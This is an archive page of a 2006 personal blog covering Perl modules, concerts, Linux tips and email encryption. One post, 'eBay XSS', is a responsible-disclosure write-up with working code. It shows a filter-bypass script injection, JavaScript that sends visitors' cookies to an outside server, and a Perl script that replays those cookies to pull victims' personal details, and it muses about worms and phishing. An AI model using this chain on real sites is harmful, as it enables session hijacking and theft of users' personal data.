Selling cookie info to third-parties is a classic example of you can make money without doing evil.
RSS

Business::TNTPost::NL

2006/12/31 filed under /perl
TPG Logo
TNT Logo

In February this year (2006, still), I wrote Business::TPGPost , a module to calculate the shipping costs based on information provided by TPG Post (the Dutch postal agency).

What I didn't realize back then, was that the name "TPG Post" would soon be changed into "TNT Post". Stupid me, for this was announced even back in 2005!

I just had to update the name (which just sucks). And what better time to do it than when implementing the new tariffs for 2007? Yep, everything got even more expensive, starting tomorrow, but I'm quite used to that pattern. This time everything just seemed to get a lot more expensive.

I've chosen to keep the Business::TPGPost module on CPAN for a while, so users can still find it, yet now it's a mere wrapper around the new module, Business::TNTPost::NL. Don't expect it to work well, I barely tested it and it will not get updated.

So, if you use the module Business::TPGPost, please do upgrade to Business::TNTPost::NL tomorrow!

Posted by: B10m | permanent link | comments (0)

Blue Man Group

2006/12/18 filed under /personal

As a X-mas present, my company offered us all a nice dinner and tickets to the Blue Man Group

I've seen advertising for these guys before and never really cared for it too much. It was, however, pretty darn good! Pretty funny show that was tailored for the Dutch audience (even playing a cover of Frans Bauer).

... Blue Menno Group, yes ...

Blue Man + Not-so-Blue Menno

Posted by: B10m | permanent link | comments (2)

Comment Spam Counter

2006/12/09 filed under /blog

On my previous blog (nanoblog), I had a little graph showing the comment spam blocked by simple hacked up spam protection.

With this "new" blog, I use Akismet and although the performance can be seen at the bottom of the menu of this blog, a little graph would be nice.

I always wanted to try out XML/SWF Charts so this looked like a good way to get started.

And because BOK lacks a graph, I've included his blog/spam block count too ;-)

The data is refreshed every day at noon (GMT+0100)

Posted by: B10m | permanent link | comments (2)

Online lyrics

2006/12/09 filed under /web

I'm a lazy guy and when I can look something up online instead of getting out of my chair, I'll do it.

Today I was listening to my mp3 collection of Bruce Dickinson and I wondered about the lyrics of a song called Devil On A Hog. So I searched for lyrics "Devil on a hog". Luckily the query returned a lot of results.

The first search result showed me the lyrics of this song, but I was puzzled by all of the '?' characters. Was the original author not sure? Did the site scrape these lyrics from some other place and did something wrong with encoding? Some of the lyrics didn't even make sense!

So it was time to get out of my chair and look the lyrics up in the CD booklet (yes, I have the CD too, I just think mp3 is easier. Lazy, remember? ;-). The lyrics in the booklet showed me something completely different.

Let's look at a few differences:

Online VersionCD Booklet Version
There? a place it ain? in spaceThere's a place in innerspace...
That? where I get to youThat's where I'll get to you
I? not the shy or torrent kindI'm not the shy retiring kind
Like a supernova for the blindI'm like a supernova for the blind
I used to say I guts like handI used to sit at god's right hand
But I clean my show into my one night standsBut I quit that show to do my one night stands
I? a god I? handling widerI'm a Godhead rider

...and it goes on and on full of errors.

Now I don't see a big problem when one guy writes down wrong lyrics on a drunken night, yet it scares me when these bad lyrics somehow appear on a lot of lyrics sites.

Since this torrent or retiring kind seems quite unique, let's construct a fun query.

Yahoo returns 14 sites when I search for "devil on a hog" "shy or torrent kind". Google shows us only 9.

Apparently, these sites are simply crawling each other and uploading incorrect lyrics.

Oh well, lesson learned. Bruce Dickinson does not sing about a "torrent" kind, nor about "handling wider". He also didn't say "I guts like hand". This should be enough proof to become less lazy and get out of my chair more often. Then again, the correct lyrics can be found online too ...

Posted by: B10m | permanent link | comments (0)

Online lyrics

2006/12/09 filed under /metal

I'm a lazy guy and when I can look something up online instead of getting out of my chair, I'll do it.

Today I was listening to my mp3 collection of Bruce Dickinson and I wondered about the lyrics of a song called Devil On A Hog. So I searched for lyrics "Devil on a hog". Luckily the query returned a lot of results.

The first search result showed me the lyrics of this song, but I was puzzled by all of the '?' characters. Was the original author not sure? Did the site scrape these lyrics from some other place and did something wrong with encoding? Some of the lyrics didn't even make sense!

So it was time to get out of my chair and look the lyrics up in the CD booklet (yes, I have the CD too, I just think mp3 is easier. Lazy, remember? ;-). The lyrics in the booklet showed me something completely different.

Let's look at a few differences:

Online VersionCD Booklet Version
There? a place it ain? in spaceThere's a place in innerspace...
That? where I get to youThat's where I'll get to you
I? not the shy or torrent kindI'm not the shy retiring kind
Like a supernova for the blindI'm like a supernova for the blind
I used to say I guts like handI used to sit at god's right hand
But I clean my show into my one night standsBut I quit that show to do my one night stands
I? a god I? handling widerI'm a Godhead rider

...and it goes on and on full of errors.

Now I don't see a big problem when one guy writes down wrong lyrics on a drunken night, yet it scares me when these bad lyrics somehow appear on a lot of lyrics sites.

Since this torrent or retiring kind seems quite unique, let's construct a fun query.

Yahoo returns 14 sites when I search for "devil on a hog" "shy or torrent kind". Google shows us only 9.

Apparently, these sites are simply crawling each other and uploading incorrect lyrics.

Oh well, lesson learned. Bruce Dickinson does not sing about a "torrent" kind, nor about "handling wider". He also didn't say "I guts like hand". This should be enough proof to become less lazy and get out of my chair more often. Then again, the correct lyrics can be found online too ...

Posted by: B10m | permanent link | comments (0)

iPod Nano and Linux

2006/11/30 filed under /software

After my 30Boxes greasemonkey script had been implemented on the website, I figured it was time to look at more possibilities.

The iPod Nano I have always tells me it can offer me calendars, so why not give it a go? I already found out how to put music on the iPod so let's see if I can get more stuff to work!

The format iPod supports (for calendars) is ics (the iCal file format). 30Boxes makes it a breeze to grab this file. Just login, go to Setting, Sharing, Entire View and there you'll see a link pointing to your ICS File.

After mounting your iPod, all you have to do is something like:

$ GET [ICS File URL] > /mnt/ipod/Calendars/30boxes.ics

And you're good to go. Your 30Boxes calendar can now be viewed on your iPod.

Sweet, but of course a calendar isn't too fun to look at all day. It usually contains appointments and data concerning boring meetings, so lets see if I can also get some photos of my wife on there (believe me, it's much more fun to look at than a calendar ;-).

Sure enough this is easy too! GPixPod, a python solution, is designed just for this. After installing it, it worked straight out of the box.

So now I can listen to (part of) my collection of metal CDs by using gnupod. 30Boxes is providing me with an ics file, so I can keep track of my appointments and in the meanwhile, I can look at my wife, thanks to GPixPod. That leaves me with the Contacts option, but I first have to find a good way to store addresses and phone numbers (... as if I didn't try half a billion things already). Feel free to recommend me a service like hiveminder or 30boxes with solid addressbook functionality :-)

Posted by: B10m | permanent link | comments (0)

iPod Nano and Linux

2006/11/30 filed under /linux

After my 30Boxes greasemonkey script had been implemented on the website, I figured it was time to look at more possibilities.

The iPod Nano I have always tells me it can offer me calendars, so why not give it a go? I already found out how to put music on the iPod so let's see if I can get more stuff to work!

The format iPod supports (for calendars) is ics (the iCal file format). 30Boxes makes it a breeze to grab this file. Just login, go to Setting, Sharing, Entire View and there you'll see a link pointing to your ICS File.

After mounting your iPod, all you have to do is something like:

$ GET [ICS File URL] > /mnt/ipod/Calendars/30boxes.ics

And you're good to go. Your 30Boxes calendar can now be viewed on your iPod.

Sweet, but of course a calendar isn't too fun to look at all day. It usually contains appointments and data concerning boring meetings, so lets see if I can also get some photos of my wife on there (believe me, it's much more fun to look at than a calendar ;-).

Sure enough this is easy too! GPixPod, a python solution, is designed just for this. After installing it, it worked straight out of the box.

So now I can listen to (part of) my collection of metal CDs by using gnupod. 30Boxes is providing me with an ics file, so I can keep track of my appointments and in the meanwhile, I can look at my wife, thanks to GPixPod. That leaves me with the Contacts option, but I first have to find a good way to store addresses and phone numbers (... as if I didn't try half a billion things already). Feel free to recommend me a service like hiveminder or 30boxes with solid addressbook functionality :-)

Posted by: B10m | permanent link | comments (0)

30Boxes Scroller

2006/11/29 filed under /software

Tatsuhiko converted me to 30boxes with his awesome 30boxes.pl

But sometimes I do checkout the website (using Firefox, so not LWP::UserAgent), and on thing that bugged me was that the calendar looks very scrollable, yet the scrollwheel isn't functioning.

So, a really simple hack was born: 30Boxes Scroller (a Greasemonkey script)

Posted by: B10m | permanent link | comments (0)

30Boxes Scroller

2006/11/29 filed under /web

Tatsuhiko converted me to 30boxes with his awesome 30boxes.pl

But sometimes I do checkout the website (using Firefox, so not LWP::UserAgent), and on thing that bugged me was that the calendar looks very scrollable, yet the scrollwheel isn't functioning.

So, a really simple hack was born: 30Boxes Scroller (a Greasemonkey script)

Posted by: B10m | permanent link | comments (3)

Free The Postcode

2006/11/20 filed under /web

In one of my many rants I've played with the idea to compile a database of postcode (zipcode) information for the Netherlands. Today, BoingBoing reported about a new project, with a link to a somewhat older project, called FreeThePostcode. This seems to be a step onto the right path.

I decided to email the author of the website. Within a few hours, I got a reply that basically stated "Sure, let's do this for the Netherlands too"

Awesome, can't wait to get my hands on a reliable database :-)

Posted by: B10m | permanent link | comments (0)

Masters of Death

2006/11/20 filed under /metal
Dismember Entombed Grave Unleashed

Dismember, Entombed, Grave, and Unleashed were united under the name Masters of Death.

Last night, the tour hit the Netherlands, and of course I had to see the masters.

We started off with Grave and I was impressed with the sound! Massive death metal, of course closed by the all time favorite Into the Grave.

Unleashed was next. Since I never cared about this band, I missed the entire gig ;-)

Up to Entombed, our true masters and founding fathers of Swedish Death Metal. Two words sum up the gig: they sucked. Seriously. The sound was horrible; I couldn't even recognize the songs. Besides, the new crap they bring out, just isn't my style.

Luckily we still had Dismember to come. One of my favorite bands to begin with. The Dismember gig was just awesome. The guys were psyched, the sound was good and the songs just awesome. How can anyone not like Dismember playing good old Pieces, Of Fire and Dreaming in Red ?

Just remember, when Dismember hits your town, just see them, it's always worth it.

Posted by: B10m | permanent link | comments (0)

Spammer somewhat right

2006/11/19 filed under /web

The spam filters at my work aren't too good, so my Thunderbird filtering has a lot to do. Some spam, I get very often, is a mail with some weird text (probably Markov generated content), and an image like this

spam image

Since we're already comparing spam mails for the prices of VlIAgR4 at work (for fun), I decided to track the spamvertized stock.

The date is odd, for October 18th 2006 would be a Wednesday, last time I checked, yet since they constantly use the word Thursday, I assume the mean October 19th, today.

The funny thing is that that stock did go pretty good today. It went up 100%, according to Yahoo! Finance

XTPT.PK on Yahoo!

Now that made me wonder. Was this incidental, or did people actually buy this stock, based on the spam? Well, let's keep track of such emails.

Today I also received this one, so let's see what happens tomorrow!

------------------------------------
Company name: Texhoma Energy, Inc.
Stock symbol: TXHE.PK
Current price: 0.12 (up 50% this week)
Expected price 10/20/2006: 0.52
------------------------------------

The information mentioned herein has not been released to the
general public and should be kept confidential until its
scheduled announcement on Friday, October 20.  I strongly suggest
that you get in before then.
[snip spam]

For some reason I doubt it's confidential, since it was mailed to an email account of mine I barely use and can be harvested easily ;-)

Posted by: B10m | permanent link | comments (2)

F-Spot2Yahoo!Photos

2006/11/17 filed under /web

For a while now, I'm using F-Spot to manage my photos and for even longer I'm looking for good software to display them on the web (and control permissions).

Since I'm a Yahoo! nut, Yahoo! Photos would have my preference. There's a Flickr export function in F-Spot, yet I don't like that name, so I'd prefer not to get associated with that ;-)

So, my first bet was to write a script that would mimic a gallery script. There's an export function for that, and maybe I could redirect the images to Yahoo! by using that? It seemed like a heck of a lot of debugging and coding.

Yahoo! Photos comes with a FireFox extension to make uploading easier. It claims to support drag&drop, but I usually doubt such claims, while I use Linux. But guess what? Dragging images out of F-Spot into Yahoo! Photos works out of the box!

Woohoo! No export function needed anymore! Thanks F-Spot! Thanks Yahoo!

Posted by: B10m | permanent link | comments (2)

F-Spot2Yahoo!Photos

2006/11/17 filed under /software

For a while now, I'm using F-Spot to manage my photos and for even longer I'm looking for good software to display them on the web (and control permissions).

Since I'm a Yahoo! nut, Yahoo! Photos would have my preference. There's a Flickr export function in F-Spot, yet I don't like that name, so I'd prefer not to get associated with that ;-)

So, my first bet was to write a script that would mimic a gallery script. There's an export function for that, and maybe I could redirect the images to Yahoo! by using that? It seemed like a heck of a lot of debugging and coding.

Yahoo! Photos comes with a FireFox extension to make uploading easier. It claims to support drag&drop, but I usually doubt such claims, while I use Linux. But guess what? Dragging images out of F-Spot into Yahoo! Photos works out of the box!

Woohoo! No export function needed anymore! Thanks F-Spot! Thanks Yahoo!

Posted by: B10m | permanent link | comments (0)

Recording what?

2006/11/12 filed under /personal

The Dutch Railroads ... praised by many tourists, cursed by more Dutchmen. Late many times, overcrowded leaving you without a seat and highly overpriced. That's what we call NS, (Nederlandse Spoorwegen), the Dutch Railroads.

Since I commute by train nowadays, I hate this company too. Yet a little while ago, they scared me even more by putting this sign in a train:

Sign in the train

Translation: "The train personnel does not have access to the recording equipment"

What recording equipment? Wouldn't it be better to post a message saying "You are being recorded", or at least have such a warning posted anywhere?

Up to this message (warning?), I never even knew the NS recorded anything, let alone that I wondered whether the employees had access to the equipment or not. Nevertheless, good to know!

Posted by: B10m | permanent link | comments (2)

WEBoggle

2006/11/09 filed under /web

An ancient game, ajaxified and all. The good old game of Boggle has been raised from the dead and can be played at WEBoggle

Warning, this game is highly addictive due to its speed and fun.

Posted by: B10m | permanent link | comments (1)

todo.(txt|sh)

2006/11/07 filed under /software

In my neverending struggle for organizing and keeping track of events and things to do, I've been looking for software to help me with this.

There are many, many todo list software packages available, ranging from terrible simple to highly complex, yet never did I feel I found the right one. Usually, I stopped using it after about a day or two.

But, there's hope. Today I found todo.txt which claims:

Countless software applications and web sites were built to manage your to do list. But if you're comfortable at the command line and you don't want to depend on someone else's data format or someone else's server, there's an age-old method that's perfect for tracking your stuff: plain text.

That sounds good, right? And it is! I've been only using this for a few minutes and it just feels right. Let's see if I can keep on using this for longer than a week ;-)

Posted by: B10m | permanent link | comments (2)

WebSnapr Previews

2006/11/04 filed under /blog

Recently, I came across WebSnapr, a nice tool to give you site previews. They offer a script called Preview Bubble which would scan the text (of your blog) for specific classes. Once found a link with this class, it'd attach an onmouseover event to show the preview bubble.

I'm lazy and don't like to change all the links I have on my blog, so I patched the preview bubble script a little to transform all links, except for local ones (to my blog), or technorati links.

Eyecandy! And yes, Bok, now I'm a bandwidth hog too ;-)

Posted by: B10m | permanent link | comments (0)

FireFox 2.0

2006/10/26 filed under /software

Much have been said about the new FireFox version and I've decided to give it a go to (mostly because my gentoo `emerge` listed it as being available).

On thing that bugged me straight away was the close buttons on all the tabs. After some scanning I've noticed how to revert to the old situation though!

Open about.config and type closeButtons. You'll see a setting called browser.tabs.closeButtons. The value is an integer, so after some messing with it, I came to this conclusion:

Value and meaning:
  1. Somewhat new, only a button on the active tab.
  2. Default "new" setting. A close button on all the tabs.
  3. No close buttons at all
  4. "Old" setting! Only one button on the right of all the tabs.

I barely use the button (I usually hit CTRL+W), but every now and then, the one button next to the tabs is nice for rapid fire closing.

Ah, and I ran into another useless button that you can disable, being browser.urlbar.hideGoButton. I think I have never used that one.

After that, I had to alter a lot of extensions (the .xpi files are mere zip files. Unzip them, change the (usually 1.5+) value into something higher (found in install.rdf). Re-zip and install.

Posted by: B10m | permanent link | comments (4)

Scarface

2006/10/22 filed under /personal

I'm not much of gamer, yet a few games I do like to extremes. After playing GTA San Andreas for way too many hours, I now am eagerly awaiting the next Grand Theft Auto release and am seriously thinking about buying an Xbox 360 for that.

Luckily, now there is Scarface - The world is yours for the Xbox to waste my time on untill the next GTA release! This game is nothing like the game The Godfather (awesome movie(s), bad game).

Unlike The Godfather, in Scarface you don't play along with the movie. The story takes off from where the movie ended, and allows you to roam around the city yourself, as well as following missions. Very similar to GTA.

The game contains a lot of swearing, violence, and drug abuse, so all the ingredients to make a game fun!

Seriously, if you like GTA, and you love Tony Montana, get this game!

Posted by: B10m | permanent link | comments (1)

eBay XSS

2006/09/29 filed under /web

Sometimes, when someone bugs you, you'll like to see how to bypass the bugging. I am not alone in this, take for example, BugMeNot

A few days ago, I had to figure out a way to put the right information at an eBay About Me page concerning an eBay store.

The easiest would be to redirect the user to the official website, yet eBay doesn't allow that kind of JavaScript to be put on there. A link could be put up, but that wouldn't be nice, for you'd force the user to click on it, before showing the real content. Blocking the JavaScript I "needed" was promising. How to bypass that? Soon I found out, but then I figured more was probably possible.

Time to refresh my knowledge and try a few things. An easy hack was to use this piece of code:

<SCRIPT>document.write("<SCRI");</SCRIPT>PT 
SRC="http://yourserver.com/evilness.js"></SCRIPT>

Now we could do a little more, the easy way. Including a JavaScript file would speed up the whole debugging of the site. Too bad, a lot of stuff would still be blocked, but that blocking was done by JavaScript itself! Time to disable the block. So in my evilness.js I would start with:

ebay.oDocument._getControl("blockActiveContent").aBlocks = Array();

Now the active block content would be an empty array, meaning, we can insert anything we like, like iframes, document.cookie and everything. Yay!

So, why not grab the user's cookies and put that in a form?

document.write('<form action="http://yourserver.com/ebay.evilness.pl" ');
document.write('id="f" method="post"');
document.write('<input type="hidden" name="q" value="" id="q" />');
document.write('</form>');

var q = document.getElementById('q').value = document.cookie;

document.getElementById('f').submit();

Sweet, now the user will be submitting a form with his cookie contents to us. Let's see if we can use that information! (Of course we can, otherwise I wouldn't be blogging this ;-)

#!/usr/bin/perl

use strict;
use CGI qw/:standard/;
use LWP::Simple qw/$ua get/;

my $q = new CGI;

$ua->default_headers->push_header('Cookie' => $q->param('q'));

my $personal_info = get('http://my.ebay.com/ws/eBayISAPI.dll?'.
                        'MyeBay&CurrentPage=MyeBayPersonalInfo');

That's basically all it takes to retrieve the personal page of the user who just fell in our trap. Using his cookies, we'll be served with all his information (email address, street address, username etc). Of course we could make this into a worm, by putting the little javascript form into the victim's About Me page too.

I don't really care about all of this information, and for "the good stuff" such as passwords and credit card info, you'd still need the password of the user, but hey, we already have his full address (usually with full name), his email address and username, so a phising site is setup in seconds!

... I wonder how many people use the same password on eBay and PayPal ...

Note: all of this is created just for the fun of bypassing roadblocks, and I expect eBay to terminate your account immediately after finding stuff like this in you profile, so I do not advice you to use such tactics! Another thing is that your "victim" has to be logged in for this, but a lot of them will be.

Of course, I have contacted eBay on this exploit and wrote them the following:

Dear sirs,

Recently I noticed I was able to use JavaScript on my 'About Me' page, using a XSS tactic. This way, I was able to pass on cookies to a third party server (mine in this matter) and use those cookies from there to access information about the user account.

I have tested this setup as I describe here: http://url and it does work flawlessly. I could gather username, address, email info from my own account aswell as some friends' accounts (with their coorperation and permission). I also think I'd be able to make a worm out of this, infecting every visitor's 'About Me' page.

The solution, IMHO, is quite easy. Stop allowing JavaScript in the About Me page and actually filter it out before you store it in the databases.

I would like to hear from you regarding this privacy matter and will not post this blog entry (see URL above) as of yet, to prevent script kiddies from abusing it. I will post it on Monday, leaving you with enough time to contact me.

If you do need more time for patching the system, I'm willing to wait even longer before posting the info on my blog.

Kind Regards,

How nice of me. But unfortunately, I haven't head from eBay so far, except for scanning my system from a few different IP addresses. Now, according to eBay time it's monday now, so let's unleash this information!

I really thought eBay would care enough about your privacy, yet they don't even have the decency to email me ...

Update: After publication on WebWereld, eBay finally deemed it necessary to email me. They claim never to have received my initial email. Weird, cause my website logs show me that at least 4 different IP addresses have requested the "secret" URL I created for them. So I guess at least four people didn't receive my email ...

This hole is patched for now, yet a simple alert('Hello World') can still be posted, so JavaScript has not been disabled fully.

Posted by: B10m | permanent link | comments (3)

Goodbye festival!

2006/09/16 filed under /linux

Every morning, I find myself making breakfast as fast as possible, so I can check on the traffic jam situation, weather forecast and emails. Why not let my computer talk to me, while I prepare breakfast?

People who use Linux and are interested in text-to-speech all know festival. It's fun for a while, yet not too useful in my humble opinion, because I (and others) have problems understanding the text.

So I went to look for other software and found Cepstral.

The voices are audible, the "effects" are funny and it's easy to teach your voice how to pronounce words (names can be a problem). The only drawback: it's not for free (except for the demos).

My first bet was to write a script around the demos, thinking it'd be very expensive. But when I found out you can get a license for a mere 30 USD, I dropped my script and went for it.

I registered the voice "Callie" and am impressed by her. The quality is so much better than festival. Woohoo, awesome!

So, for the people who have nothing else to do, feel free to listen to Callie reading this entry :-)

Posted by: B10m | permanent link | comments (0)

Goodbye festival!

2006/09/16 filed under /software

Every morning, I find myself making breakfast as fast as possible, so I can check on the traffic jam situation, weather forecast and emails. Why not let my computer talk to me, while I prepare breakfast?

People who use Linux and are interested in text-to-speech all know festival. It's fun for a while, yet not too useful in my humble opinion, because I (and others) have problems understanding the text.

So I went to look for other software and found Cepstral.

The voices are audible, the "effects" are funny and it's easy to teach your voice how to pronounce words (names can be a problem). The only drawback: it's not for free (except for the demos).

My first bet was to write a script around the demos, thinking it'd be very expensive. But when I found out you can get a license for a mere 30 USD, I dropped my script and went for it.

I registered the voice "Callie" and am impressed by her. The quality is so much better than festival. Woohoo, awesome!

So, for the people who have nothing else to do, feel free to listen to Callie reading this entry :-)

Posted by: B10m | permanent link | comments (2)

Use encryption!

2006/09/14 filed under /software

Based on Brian's blog entry we started discussing email encryption (using GnuPG).

We both believe way too few people use email encryption and we'd both love to see an increase in that. The reason for people not using it is pretty simple, I think. GnuPG is just too damn hard to use for the average user.

Every time I have to use the gpg binary, I find myself opening the man pages. Besides that, the whole "Web of Trust" concept just takes some thinking and understanding. Who do you trust, how much do you trust someone, why shouldn't I give someone my ultimate trust, etc.

Nerds usually don't mind a little complexity when it comes to basic things, such as emailing, yet the average Joe probably loses interest in this rather quickly. Such a shame!

So how can we get more people to encrypt their emails? Make it easier for people to use and stress the importance! You're not paranoid if you think encrypting mails is important. And don't fall for the "if you don't have anything to hide" dogma. You don't want people to read your snail mail (the mail on paper), so why would you want people to read your electronic mail? Unfortunately, as of right now, we just have to accept that it takes a little time to get started, and the documentation isn't the easiest, nor funniest stuff to read (reading other people's email is way more interesting ;-)

Besides the learning curve, there's nothing that should stop you. There are some "new" initiatives that allow you to use encryption for webmail services, such as Yahoo, Hotmail and Gmail (see freenigma and keygloo for example). And of course, there's a way to use it with close to every non-webmail mail client, like MS Outlook, Thunderbird, The Bat, Eudora, pine, mutt.

Wonderful! Let's take a few minutes to create a key and read up on the concept. After that, let's all use it!

TT ,
Posted by: B10m | permanent link | comments (0)

Use encryption!

2006/09/14 filed under /web

Based on Brian's blog entry we started discussing email encryption (using GnuPG).

We both believe way too few people use email encryption and we'd both love to see an increase in that. The reason for people not using it is pretty simple, I think. GnuPG is just too damn hard to use for the average user.

Every time I have to use the gpg binary, I find myself opening the man pages. Besides that, the whole "Web of Trust" concept just takes some thinking and understanding. Who do you trust, how much do you trust someone, why shouldn't I give someone my ultimate trust, etc.

Nerds usually don't mind a little complexity when it comes to basic things, such as emailing, yet the average Joe probably loses interest in this rather quickly. Such a shame!

So how can we get more people to encrypt their emails? Make it easier for people to use and stress the importance! You're not paranoid if you think encrypting mails is important. And don't fall for the "if you don't have anything to hide" dogma. You don't want people to read your snail mail (the mail on paper), so why would you want people to read your electronic mail? Unfortunately, as of right now, we just have to accept that it takes a little time to get started, and the documentation isn't the easiest, nor funniest stuff to read (reading other people's email is way more interesting ;-)

Besides the learning curve, there's nothing that should stop you. There are some "new" initiatives that allow you to use encryption for webmail services, such as Yahoo, Hotmail and Gmail (see freenigma and keygloo for example). And of course, there's a way to use it with close to every non-webmail mail client, like MS Outlook, Thunderbird, The Bat, Eudora, pine, mutt.

Wonderful! Let's take a few minutes to create a key and read up on the concept. After that, let's all use it!

TT ,
Posted by: B10m | permanent link | comments (0)

Use encryption!

2006/09/14 filed under /random_thoughts

Based on Brian's blog entry we started discussing email encryption (using GnuPG).

We both believe way too few people use email encryption and we'd both love to see an increase in that. The reason for people not using it is pretty simple, I think. GnuPG is just too damn hard to use for the average user.

Every time I have to use the gpg binary, I find myself opening the man pages. Besides that, the whole "Web of Trust" concept just takes some thinking and understanding. Who do you trust, how much do you trust someone, why shouldn't I give someone my ultimate trust, etc.

Nerds usually don't mind a little complexity when it comes to basic things, such as emailing, yet the average Joe probably loses interest in this rather quickly. Such a shame!

So how can we get more people to encrypt their emails? Make it easier for people to use and stress the importance! You're not paranoid if you think encrypting mails is important. And don't fall for the "if you don't have anything to hide" dogma. You don't want people to read your snail mail (the mail on paper), so why would you want people to read your electronic mail? Unfortunately, as of right now, we just have to accept that it takes a little time to get started, and the documentation isn't the easiest, nor funniest stuff to read (reading other people's email is way more interesting ;-)

Besides the learning curve, there's nothing that should stop you. There are some "new" initiatives that allow you to use encryption for webmail services, such as Yahoo, Hotmail and Gmail (see freenigma and keygloo for example). And of course, there's a way to use it with close to every non-webmail mail client, like MS Outlook, Thunderbird, The Bat, Eudora, pine, mutt.

Wonderful! Let's take a few minutes to create a key and read up on the concept. After that, let's all use it!

TT ,
Posted by: B10m | permanent link | comments (1)

Like Better

2006/09/13 filed under /web

likebetter.com is a site that shows you two pictures at a time. Of these two images, you will have to pick the one you like better (hence the name, I figure ;-)

After some clicking, the site thinks to know you a little. The brain image will turn pink. Clicking on that will show you what it found out about you.

Well, either the site is seriously flawed, or I am not an open book, but after a lot of clicking, it only turned up with one right assumption: I do like to study with music in the background. It was wrong in thinking I'm a girl, have conservative political views, got a rather good education and a lot more...

Assuming this analysis will get better over time, I'll check it out more later. Fun for sure!

Posted by: B10m | permanent link | comments (0)

Header Images

2006/09/09 filed under /blog

Since my blog no longer consists of static HTML files, I've decided to also give it a somewhat random header image (on which I display the name and title of this blog).

For this task, I set up a horribly simple Perl script, that will display the images at random.

These images were used (so far, expect more in the future). I took the pictures myself, during various vacations.

Kölner Dom, Köln, Germany

Construction of the Gothic church began in 1248 and took, with interruptions, more than 600 years to complete - it was finally finished in 1880. The two towers are 157 m tall, the cathedral is 144 m long and 86 m wide. The cathedral is dedicated to Saints Peter and Mary.

Source: Wikipedia

I took this picture of the great cathedral at 2005/02/19.

Senggigi, Lombok, Indonesia

The island of Lombok is located east of Bali. Lombok is now becoming the perfect getaway for travellers, honeymooners or those who return again and again. Escape to picturesque mountainside landscapes to white sand beaches of the Gili Islands.

Source: Lombok Indonesia

I took this picture of the sunset looking at Bali's Gunung Agung at 2005/07/06. The colors are a little altered in the header image.

Prambanan, Yogyakarta, Indonesia

The Prambanan temple is the biggest and a most beautiful Hindu temple about 20 minutes from Yogyakarta city. This magnificent Shivaite temple derives its name from the village where it is located. Locally known as the Loro Jongrang temple, or the temple of the "Slender Virgin" it is reputed to be the biggest and most beautiful Hindu Temple in Indonesia.

Source: Prambanan Temple

This picture is taken of one of the temple's entrances. It was taken at 2006/06/30. Prambanan Temple is lesser known than the Buddhist Borobudur, yet more beautiful, in my humble opinion.

Willingen (Sauerland), Germany

Well-kept, prepared pistes for runs at breakneck speed, prepared cross country tracks across snowy woods, romantic winter walking paths or a ride with the horse-sleigh, these are the dreams of the small and big "ski rabbits", coming through here in de Worldcup village Willingen.

Source: Willingen

Willingen is close to the Netherlands, and quite fun in the wintertime, if you like skiing and other snow activities. This picture was taken at 2006/03/18, and was mirrored horizontally, so my blog's name came out better.

Kostnice Sedlec, Kutná Hora, Czech Republic

A cistercian monastery was founded near here in the year 1142. One of the principal tasks of the monks was the cultivation of the grounds and lands around the monastery.

Source: Kostnice Ossuary Beinhaus

A truely grim environment that I've blogged about before. The header image was taken on 2006/07/06 and I've edited the colors slightly, to give it an even more scary appearance.

The Great Sphinx, Giza, Egypt

In a depression to the south of Khafre's pyramid at Giza near Cairo sits a huge creature with the head of a human and a lion's body. This monumental statue, the first truly colossal royal sculpture in Egypt, known as the Great Sphinx, is a national symbol of Egypt, both ancient and modern.

Source: The Great Sphinx of Giza

Does the image needs any introduction? Everyone knows it, and everyone who's been to Giza, has this picture ... Mine was taken on 2004/12/23.

Purah Tanah Lot, Bali, Indonesia

Tanah Lot, with its magical-sounding name, is the stuff of postcards and travel posters. Perched on a rocky outcrop at the sea's edge, the temple is accessible only to Hindus, and evidently only to those associated with the temple. Tanah Lot is one of the most sacred temples in all of Bali. Apparently at one time the temple had been open to visitors, but because of the disrespect shown by a lot of tourists - not dressing appropriately in sarongs, and snapping holiday shots of the priests at prayer - upset the normally patient and tolerant Balinese to the point that they made the temple off-limits.

Source: Tanah Lot - Magic by the Sea

This beautiful Hindu temple can be found on Bali. The picture was taken at 2005/07/02.

So, now you know where these images come from. I'm not a great photographer, but I think the pictures are nice enough to become header images for my blog.

Posted by: B10m | permanent link | comments (0)

Last blog post

2006/09/08 filed under /personal

Yes, it's official, this will be the last blog entry from me ...

... using NanoBlogger. I've made the switch to Blosxom for a couple of reasons. Mainly, NB is just too slow for my liking. I don't even have many entries, yet updating everything takes a long time and editing a post too...

Blosxom provides an easy way to hack up posts too, just like nb, yet it's not static. And hey, Blosxom is in Perl :-)

Anyways, update your RSS feeds.

Links:

Posted by: B10m | permanent link | comments (7)

Last blog post

2006/09/08 filed under /nanoblogger

Yes, it's official, this will be the last blog entry from me ...

... using NanoBlogger. I've made the switch to Blosxom for a couple of reasons. Mainly, NB is just too slow for my liking. I don't even have many entries, yet updating everything takes a long time and editing a post too...

Blosxom provides an easy way to hack up posts too, just like nb, yet it's not static. And hey, Blosxom is in Perl :-)

Anyways, update your RSS feeds.

Links:

Posted by: B10m | permanent link | comments (7)

Vicar b10m

2006/09/07 filed under /personal

Today I moved one step up on the Perlmonks ladder and I may now call myself Vicar b10m.

perlmonks.org screendump

Not that it means anything, but hey, I'm a so called "XP whore" ;-)

Posted by: B10m | permanent link | comments (0)

Procmail is dead, long live Mail::Audit!

2006/08/29 filed under /personal

The all feared and loathed procmail is finally history on my system. As usual, I check things out way too late, but now felt the urge to really take a look at Mail::Audit.

I've seen that module run on Perlmonk and was surprised by the ease of use. Within a few minutes, I converted my obscure procmail recipes and added some stuff I always wanted.

My basic backup and filtering still applies, but now I've added the nice feature of informing users (once, thanks to Mail::Audit::KillDups) that I will not reply their mails for they use Google servers. It's really quite lame and easy to implement:

foreach my $h ($mail->received) {
   $google++ if($h =~ /google\.com/);
}
#...
$mail->reply(body=>$msg) 
   if not $mail->killdups($mail->from);

Now we can even report the number of google servers their mail passed ;-)

Also I now started using the Little Brother's Database for address book populating method. All incoming mails will be scanned and email addresses will be added to my addressbook. Exactly what I need (thanks Mark!).

And of course I can now easily strip attachments and dump them on my filesystem somewhere for later reference.

How I love the power of Perl (and the community)!

Posted by: B10m | permanent link | comments (0)

Procmail is dead, long live Mail::Audit!

2006/08/29 filed under /software

The all feared and loathed procmail is finally history on my system. As usual, I check things out way too late, but now felt the urge to really take a look at Mail::Audit.

I've seen that module run on Perlmonk and was surprised by the ease of use. Within a few minutes, I converted my obscure procmail recipes and added some stuff I always wanted.

